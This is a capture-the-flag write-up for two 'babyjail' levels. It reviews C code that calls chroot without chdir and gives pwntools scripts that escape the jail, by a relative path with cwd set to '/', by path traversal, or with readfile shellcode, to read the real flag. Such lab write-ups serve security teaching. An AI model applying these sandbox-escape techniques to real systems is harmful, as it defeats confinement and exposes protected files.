🚩babyjail

Notes

Shellcoding

Majority of levels in this module require shellcode writing. I recommend using pwn.shellcraft() from now on since this chapter is about sandboxing instead of shellcoding itself. Read more:

https://docs.pwntools.com/en/stable/shellcraft/amd64.html#pwnlib.shellcraft.amd64.linux.syscall

strace

For each level, go to practice mode first and use strace. This step is required. If you skip this step, there is no way to figure out the file descriptor corresponding to each syscall.

Level 1

Challenge

Code Review

int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
    puts("program (argv[1]).\n");

    assert(argc > 1);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    printf("Sending the file at `%s` to stdout.\n", argv[1]);
    sendfile(1, open(argv[1], 0), 0, 128);

}

This program calls assert(chroot(jail_path) == 0); to put us in a jail. Recall that calling chroot() without calling chdir("/") is useless. This is a fake jail and we are actually able to read the real flag directly.

Solution

Note that the choice of argv[1] depends on your current working directory where you execute the script. The idea is:

  1. If we use /flag as argv[1], this pathname will be interpreted as /tmp/jail-XXXXXX/flag. This is the fake flag.

  2. If we use flag as argv[1], the result depends on the current working directory where we execute the script. We can provide an additional argument cwd="/" when starting the process to escape this sandbox.

  3. Another option is utilizing path traversal. If we use ../../../../../flag as argv[1], the real flag will be sent to us as well.

Exploit

Method 1

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------Chroot Escape--------#

p = process(["/challenge/babyjail_level1", "flag"], cwd="/")

p.interactive()

Method 2

#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("/challenge/babyjail_level1", checksec=False)

#--------chroot escape--------#

p = process(["/challenge/babyjail_level1", "../../../../../flag"])

p.interactive()

Level 2

Challenge

Code Review

int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);

    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");

    puts("You may open a specified file, as given by the first argument to the program (argv[1]).\n");

    puts("You may upload custom shellcode to do whatever you want.\n");

    assert(argc > 1);

    puts("Checking to make sure you're not trying to open the flag.\n");
    assert(strstr(argv[1], "flag") == NULL);

    int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);
    if (fd < 0)
        printf("Failed to open the file located at `%s`.\n", argv[1]);
    else
        printf("Successfully opened the file located at `%s`.\n", argv[1]);

    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);

    printf("Creating a jail at `%s`.\n", jail_path);

    assert(chroot(jail_path) == 0);

    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);

    void *shellcode = mmap((void *)0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x1337000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);

    puts("Reading 0x1000 bytes of shellcode from stdin.\n");
    int shellcode_size = read(0, shellcode, 0x1000);

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");

    ((void(*)())shellcode)();
}

This program is essentially the same as Level 1 but it takes a piece of shellcode and executes it. Again, this is a fake jail and we are able to esacpe it easily.

Solution

The idea of this level is same as Level 1, but we are asked to write shellcode that does the same thing. Here we can use the pwntools built-in shellcode shellcraft.readfile("flag", 1) to send the flag to STDOUT.

Be careful, it is "flag", not "/flag".

Note that we are not doing readfile("/flag", 1) because of the existence of the fake flag. Instead, we use the same trick as in Level 1: start the process with an additional argument cwd="/" and call readfile() using relative path.

Exploit

#!/usr/bin/env python3
from pwn import *

elf = ELF("/challenge/babyjail_level2")
context.arch="amd64"

shellcode = asm(shellcraft.readfile("flag", 1))

p = process(["/challenge/babyjail_level2", "/"], cwd="/")
p.sendline(shellcode)
p.interactive()

Last updated